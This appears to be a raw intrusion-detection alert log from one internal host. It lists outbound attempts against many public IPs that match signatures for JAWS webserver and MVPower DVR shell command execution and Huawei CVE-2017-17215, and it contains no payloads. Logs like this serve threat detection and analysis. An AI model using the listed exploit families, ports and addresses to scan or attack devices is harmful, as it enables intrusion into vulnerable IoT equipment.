04/14/24-04:01:42.011188	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52016	80	192.168.2.13	23.55.65.9
04/14/24-04:00:29.842474	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37864	80	192.168.2.13	137.59.86.100
04/14/24-04:01:03.916709	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54860	80	192.168.2.13	23.9.126.72
04/14/24-04:01:22.742859	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53044	80	192.168.2.13	149.100.159.185
04/14/24-04:00:15.446161	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47118	80	192.168.2.13	178.242.138.104
04/14/24-04:01:24.505786	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36866	80	192.168.2.13	192.67.164.203
04/14/24-04:01:30.376214	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36214	80	192.168.2.13	38.154.37.126
04/14/24-04:01:15.426300	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52042	80	192.168.2.13	54.75.180.208
04/14/24-04:00:39.604665	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41870	80	192.168.2.13	186.7.208.72
04/14/24-04:01:46.694372	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48688	80	192.168.2.13	38.91.107.114
04/14/24-04:00:39.537951	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57014	80	192.168.2.13	54.214.93.16
04/14/24-04:00:19.606973	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54908	80	192.168.2.13	18.178.93.240
04/14/24-04:01:11.685543	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60590	80	192.168.2.13	47.92.94.115
04/14/24-04:01:11.564771	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60182	80	192.168.2.13	114.142.224.216
04/14/24-04:01:37.609944	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59038	80	192.168.2.13	65.9.75.93
04/14/24-04:00:58.472287	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43092	80	192.168.2.13	119.204.215.178
04/14/24-04:01:37.635352	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39942	80	192.168.2.13	193.205.7.221
04/14/24-04:00:26.885793	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36766	80	192.168.2.13	147.47.56.57
04/14/24-04:01:24.302011	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60232	80	192.168.2.13	173.232.58.94
04/14/24-03:59:56.058605	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47030	80	192.168.2.13	23.212.202.146
04/14/24-04:01:50.543352	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57304	80	192.168.2.13	34.36.243.55
04/14/24-04:01:32.790153	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39008	80	192.168.2.13	156.205.0.24
04/14/24-04:01:15.437210	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54376	80	192.168.2.13	39.106.2.90
04/14/24-04:01:49.372231	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50924	80	192.168.2.13	104.21.58.38
04/14/24-04:00:33.301692	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57818	80	192.168.2.13	191.81.77.161
04/14/24-04:00:49.344836	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53554	80	192.168.2.13	185.164.186.63
04/14/24-04:01:17.672534	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44628	80	192.168.2.13	141.17.83.105
04/14/24-04:01:52.328261	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51048	80	192.168.2.13	34.161.249.238
04/14/24-04:00:55.418937	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47834	80	192.168.2.13	23.224.94.20
04/14/24-04:01:28.545918	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40262	80	192.168.2.13	47.49.142.114
04/14/24-04:00:55.406095	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43780	80	192.168.2.13	153.122.144.93
04/14/24-04:01:50.100126	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38248	80	192.168.2.13	154.212.222.199
04/14/24-04:00:45.476527	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40878	80	192.168.2.13	95.100.233.80
04/14/24-04:00:43.057087	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45514	80	192.168.2.13	34.36.39.20
04/14/24-04:01:32.633888	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38940	80	192.168.2.13	18.192.226.4
04/14/24-04:00:16.559489	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51088	80	192.168.2.13	104.206.59.2
04/14/24-04:00:39.668972	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35426	80	192.168.2.13	154.31.215.197
04/14/24-04:01:15.329563	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53182	80	192.168.2.13	136.22.132.205
04/14/24-04:00:52.180231	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50836	80	192.168.2.13	134.22.21.42
04/14/24-04:01:32.233329	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46702	80	192.168.2.13	20.48.158.32
04/14/24-04:01:19.666106	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47224	80	192.168.2.13	217.198.1.19
04/14/24-04:01:52.194222	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53672	80	192.168.2.13	117.180.238.129
04/14/24-04:00:30.752645	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43566	80	192.168.2.13	213.32.98.93
04/14/24-04:01:32.310027	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45380	80	192.168.2.13	20.8.142.206
04/14/24-04:01:04.547302	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45884	80	192.168.2.13	218.161.62.21
04/14/24-03:59:56.048241	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40566	80	192.168.2.13	23.223.72.7
04/14/24-04:00:38.705770	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40596	80	192.168.2.13	52.220.154.162
04/14/24-04:00:14.369222	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41936	80	192.168.2.13	216.47.49.134
04/14/24-04:01:02.017271	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40690	37215	192.168.2.13	156.241.90.3
04/14/24-04:01:28.779670	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34912	80	192.168.2.13	212.193.59.47
04/14/24-04:01:28.387798	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41256	80	192.168.2.13	23.36.251.28
04/14/24-04:00:49.420488	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47220	80	192.168.2.13	103.69.247.47
04/14/24-04:01:05.640382	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48488	80	192.168.2.13	69.168.3.9
04/14/24-04:01:49.397703	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45338	80	192.168.2.13	54.189.245.215
04/14/24-04:00:52.276261	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50288	80	192.168.2.13	202.165.121.250
04/14/24-04:00:46.330679	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37916	80	192.168.2.13	52.36.0.173
04/14/24-04:00:19.370645	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44330	80	192.168.2.13	47.238.160.6
04/14/24-04:00:15.435478	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43464	80	192.168.2.13	143.204.37.147
04/14/24-03:59:56.606428	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48870	80	192.168.2.13	18.216.104.237
04/14/24-04:01:32.435681	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50270	80	192.168.2.13	42.63.59.207
04/14/24-04:00:33.657478	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45096	80	192.168.2.13	39.97.135.11
04/14/24-04:01:15.505683	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52378	80	192.168.2.13	12.175.64.146
04/14/24-04:01:45.278489	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38626	80	192.168.2.13	222.110.190.240
04/14/24-04:00:49.555559	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54272	80	192.168.2.13	45.132.241.41
04/14/24-04:00:49.181873	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59204	80	192.168.2.13	34.160.87.105
04/14/24-04:00:55.749746	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60762	80	192.168.2.13	38.207.99.217
04/14/24-04:01:17.869433	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45314	80	192.168.2.13	142.4.5.93
04/14/24-04:01:04.619479	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56008	80	192.168.2.13	167.172.166.210
04/14/24-04:01:37.299626	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38712	80	192.168.2.13	209.200.111.176
04/14/24-04:01:41.947462	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54410	80	192.168.2.13	34.196.170.79
04/14/24-04:00:36.456797	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58360	80	192.168.2.13	42.193.19.169
04/14/24-04:00:37.818990	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37356	80	192.168.2.13	121.89.58.33
04/14/24-04:01:28.744099	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35462	80	192.168.2.13	23.62.250.71
04/14/24-04:01:17.869433	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45314	80	192.168.2.13	142.4.5.93
04/14/24-04:00:58.454675	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42630	80	192.168.2.13	13.33.18.73
04/14/24-04:01:13.648999	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60352	80	192.168.2.13	23.7.114.165
04/14/24-04:01:30.919032	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35216	80	192.168.2.13	37.27.15.34
04/14/24-04:01:41.951127	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58414	80	192.168.2.13	104.107.32.116
04/14/24-04:01:15.422866	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47422	80	192.168.2.13	156.250.20.101
04/14/24-04:00:49.352534	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55966	80	192.168.2.13	195.245.74.9
04/14/24-04:00:26.769298	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34058	80	192.168.2.13	68.61.182.44
04/14/24-04:00:15.808010	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40442	80	192.168.2.13	112.90.95.147
04/14/24-04:01:00.520246	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57910	80	192.168.2.13	220.87.17.129
04/14/24-04:00:50.402186	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47686	80	192.168.2.13	23.95.247.76
04/14/24-04:01:49.957323	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41678	80	192.168.2.13	43.251.220.40
04/14/24-04:00:46.396147	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41054	80	192.168.2.13	96.11.0.254
04/14/24-04:01:35.490361	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40972	80	192.168.2.13	38.6.214.47
04/14/24-04:00:33.265487	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41734	80	192.168.2.13	2.23.10.85
04/14/24-04:01:17.739938	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51766	80	192.168.2.13	18.66.83.162
04/14/24-04:01:08.547468	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55302	80	192.168.2.13	52.193.158.255
04/14/24-04:01:22.718384	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55160	80	192.168.2.13	34.141.65.190
04/14/24-03:59:59.462809	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44908	80	192.168.2.13	18.154.216.239
04/14/24-04:00:55.425209	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41840	80	192.168.2.13	192.151.235.198
04/14/24-04:00:36.415258	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51988	80	192.168.2.13	13.75.119.219
04/14/24-04:01:30.463731	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48046	80	192.168.2.13	156.250.20.101
04/14/24-04:01:04.420999	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58066	80	192.168.2.13	54.235.16.88
04/14/24-04:00:55.508748	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59846	80	192.168.2.13	5.251.4.167
04/14/24-04:01:28.744099	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35462	80	192.168.2.13	23.62.250.71
04/14/24-04:00:45.494615	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53690	80	192.168.2.13	23.212.130.139
04/14/24-04:00:22.051472	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42794	80	192.168.2.13	87.171.240.112
04/14/24-04:01:15.989466	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47538	80	192.168.2.13	156.250.20.101
04/14/24-04:00:29.353785	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44460	80	192.168.2.13	89.161.252.119
04/14/24-04:00:53.696847	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53416	80	192.168.2.13	51.210.180.200
04/14/24-04:01:08.130794	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52936	80	192.168.2.13	136.226.64.127
04/14/24-04:01:45.215574	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59518	80	192.168.2.13	38.153.99.160
04/14/24-04:00:15.470994	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36266	80	192.168.2.13	72.8.195.236
04/14/24-04:00:19.370793	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45348	80	192.168.2.13	45.85.76.45
04/14/24-04:00:55.403432	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36780	80	192.168.2.13	147.135.174.32
04/14/24-04:01:37.609587	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57718	80	192.168.2.13	95.17.49.95
04/14/24-04:00:57.919186	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41400	80	192.168.2.13	51.15.239.17
04/14/24-04:01:30.455365	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32868	80	192.168.2.13	23.251.140.149
04/14/24-04:00:52.375717	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42564	80	192.168.2.13	107.146.234.158
04/14/24-04:01:36.478737	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34494	80	192.168.2.13	23.192.170.172
04/14/24-04:01:32.213638	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44506	80	192.168.2.13	96.9.2.247
04/14/24-04:01:49.209097	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46384	80	192.168.2.13	50.87.191.161
04/14/24-04:01:35.657503	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53810	80	192.168.2.13	38.165.110.125
04/14/24-04:01:26.376231	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34374	80	192.168.2.13	209.200.67.104
04/14/24-04:01:45.192743	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42326	80	192.168.2.13	23.34.113.225
04/14/24-04:00:45.383975	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60976	80	192.168.2.13	68.182.254.113
04/14/24-04:00:14.043374	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48110	80	192.168.2.13	123.56.125.186
04/14/24-04:00:30.752645	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43566	80	192.168.2.13	213.32.98.93
04/14/24-04:00:33.134868	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56754	80	192.168.2.13	52.88.189.249
04/14/24-04:01:45.437461	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53148	80	192.168.2.13	117.180.238.129
04/14/24-04:00:29.518350	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47462	80	192.168.2.13	41.60.17.174
04/14/24-04:01:03.822455	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42510	80	192.168.2.13	185.103.117.76
04/14/24-04:01:35.592248	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49092	80	192.168.2.13	175.243.11.88
04/14/24-03:59:55.965496	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45488	80	192.168.2.13	198.211.117.232
04/14/24-04:00:21.771578	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50184	80	192.168.2.13	172.247.69.141
04/14/24-04:00:16.677255	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42720	80	192.168.2.13	188.150.117.221
04/14/24-04:00:19.956914	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50190	37215	192.168.2.13	156.77.130.124
04/14/24-04:00:52.276261	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50288	80	192.168.2.13	202.165.121.250
04/14/24-04:01:24.505786	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36866	80	192.168.2.13	192.67.164.203
04/14/24-04:01:15.466685	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35748	80	192.168.2.13	42.29.49.205
04/14/24-04:00:14.182047	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59436	80	192.168.2.13	192.185.167.102
04/14/24-04:00:46.399486	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57734	80	192.168.2.13	50.236.225.130
04/14/24-04:01:36.446584	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55232	80	192.168.2.13	23.47.140.224
04/14/24-04:00:24.688215	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58162	80	192.168.2.13	46.8.153.39
04/14/24-04:01:17.994947	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47586	80	192.168.2.13	156.250.20.101
04/14/24-04:01:02.407725	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46128	80	192.168.2.13	92.255.78.26
04/14/24-04:01:47.400631	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48258	80	192.168.2.13	52.216.214.244
04/14/24-04:00:49.209172	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47000	80	192.168.2.13	209.95.33.158
04/14/24-04:00:14.003839	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59400	80	192.168.2.13	23.9.52.207
04/14/24-04:00:39.604665	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41870	80	192.168.2.13	186.7.208.72
04/14/24-04:00:51.824706	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58046	80	192.168.2.13	201.172.117.152
04/14/24-04:01:45.203190	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46626	80	192.168.2.13	89.19.45.154
04/14/24-04:00:13.969384	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50872	80	192.168.2.13	63.160.189.199
04/14/24-04:00:36.775036	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56836	80	192.168.2.13	187.45.195.230
04/14/24-04:00:14.195661	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42090	80	192.168.2.13	52.3.52.213
04/14/24-04:00:53.167056	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54112	80	192.168.2.13	18.224.121.76
04/14/24-04:01:12.492040	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52220	80	192.168.2.13	12.175.64.146
04/14/24-04:01:30.711319	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38026	80	192.168.2.13	57.180.150.1
04/14/24-04:01:36.114586	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51750	80	192.168.2.13	66.102.1.100
04/14/24-04:00:53.021786	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49870	80	192.168.2.13	45.39.159.30
04/14/24-04:01:39.174627	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40790	80	192.168.2.13	64.68.101.146
04/14/24-04:01:11.685543	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60590	80	192.168.2.13	47.92.94.115
04/14/24-04:00:59.692516	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59714	80	192.168.2.13	106.75.71.194
04/14/24-04:00:14.603564	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60510	80	192.168.2.13	184.85.93.3
04/14/24-04:01:02.699129	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40374	80	192.168.2.13	5.150.254.149
04/14/24-04:01:24.449467	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57888	80	192.168.2.13	18.244.146.19
04/14/24-04:01:19.481800	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60918	80	192.168.2.13	104.68.110.236
04/14/24-04:00:59.240251	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43072	80	192.168.2.13	119.204.215.178
04/14/24-04:01:36.712498	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44760	80	192.168.2.13	154.95.185.195
04/14/24-04:00:45.318776	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55844	80	192.168.2.13	34.120.76.126
04/14/24-04:00:55.406095	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43780	80	192.168.2.13	153.122.144.93
04/14/24-04:01:25.720532	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34220	80	192.168.2.13	188.114.228.73
04/14/24-04:00:26.879376	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54720	80	192.168.2.13	31.13.84.169
04/14/24-04:01:45.139466	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60860	80	192.168.2.13	34.49.210.122
04/14/24-04:01:49.638047	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42882	80	192.168.2.13	13.224.85.84
04/14/24-04:00:43.209327	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43446	80	192.168.2.13	128.199.34.29
04/14/24-04:01:15.437210	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54376	80	192.168.2.13	39.106.2.90
04/14/24-04:01:12.960545	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53022	80	192.168.2.13	23.60.188.235
04/14/24-04:00:40.641385	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33372	80	192.168.2.13	63.195.174.53
04/14/24-04:01:15.756970	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56148	80	192.168.2.13	185.81.0.63
04/14/24-04:00:29.455528	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52934	80	192.168.2.13	23.26.195.86
04/14/24-04:00:55.504706	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33266	80	192.168.2.13	188.59.40.100
04/14/24-04:00:39.676085	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52940	80	192.168.2.13	93.190.199.140
04/14/24-04:01:45.623725	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60788	80	192.168.2.13	154.215.156.78
04/14/24-04:01:32.314413	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41278	80	192.168.2.13	154.220.246.97
04/14/24-04:01:41.938077	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53036	80	192.168.2.13	23.65.233.196
04/14/24-04:01:42.298419	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54356	80	192.168.2.13	23.80.218.14
04/14/24-04:00:34.258962	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46816	80	192.168.2.13	2.19.237.30
04/14/24-04:00:29.497034	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38798	80	192.168.2.13	23.216.200.106
04/14/24-04:01:49.311683	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40004	80	192.168.2.13	164.46.113.233
04/14/24-04:01:18.593401	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46282	80	192.168.2.13	95.164.23.125
04/14/24-04:00:45.469766	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40478	80	192.168.2.13	138.4.80.75
04/14/24-04:00:38.992250	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44008	80	192.168.2.13	118.71.31.48
04/14/24-04:01:18.096502	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36776	80	192.168.2.13	190.176.244.245
04/14/24-04:00:26.549972	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37700	80	192.168.2.13	81.196.66.125
04/14/24-04:01:22.742859	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53044	80	192.168.2.13	149.100.159.185
04/14/24-04:00:29.842474	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37864	80	192.168.2.13	137.59.86.100
04/14/24-03:59:56.684803	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44004	80	192.168.2.13	103.19.242.39
04/14/24-04:00:21.834259	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44988	80	192.168.2.13	159.89.127.214
04/14/24-04:01:24.274200	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47478	80	192.168.2.13	184.30.179.72
04/14/24-04:00:30.436023	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34314	80	192.168.2.13	38.48.143.91
04/14/24-04:00:14.055282	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35740	80	192.168.2.13	39.108.232.40
04/14/24-04:01:41.938233	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47608	80	192.168.2.13	67.166.0.107
04/14/24-04:00:55.907978	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36730	80	192.168.2.13	18.155.109.0
04/14/24-04:01:02.730809	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48196	80	192.168.2.13	199.190.47.23
04/14/24-04:01:24.849986	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55138	80	192.168.2.13	46.167.65.5
04/14/24-04:00:37.076373	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35694	80	192.168.2.13	2.193.208.197
04/14/24-04:00:21.102635	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33710	37215	192.168.2.13	156.241.125.101
04/14/24-04:01:08.176095	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50478	80	192.168.2.13	23.79.27.90
04/14/24-04:01:36.974737	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51522	80	192.168.2.13	122.170.108.4
04/14/24-04:01:25.452088	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57856	80	192.168.2.13	52.6.14.111
04/14/24-04:00:26.833868	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54934	80	192.168.2.13	23.214.128.100
04/14/24-04:01:22.744467	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53076	80	192.168.2.13	18.164.29.202
04/14/24-04:00:20.364272	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37672	80	192.168.2.13	8.217.236.138
04/14/24-03:59:54.925996	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44542	80	192.168.2.13	17.248.175.20
04/14/24-04:01:04.313894	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33956	80	192.168.2.13	137.175.8.6
04/14/24-04:00:43.058678	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44120	80	192.168.2.13	54.67.63.127
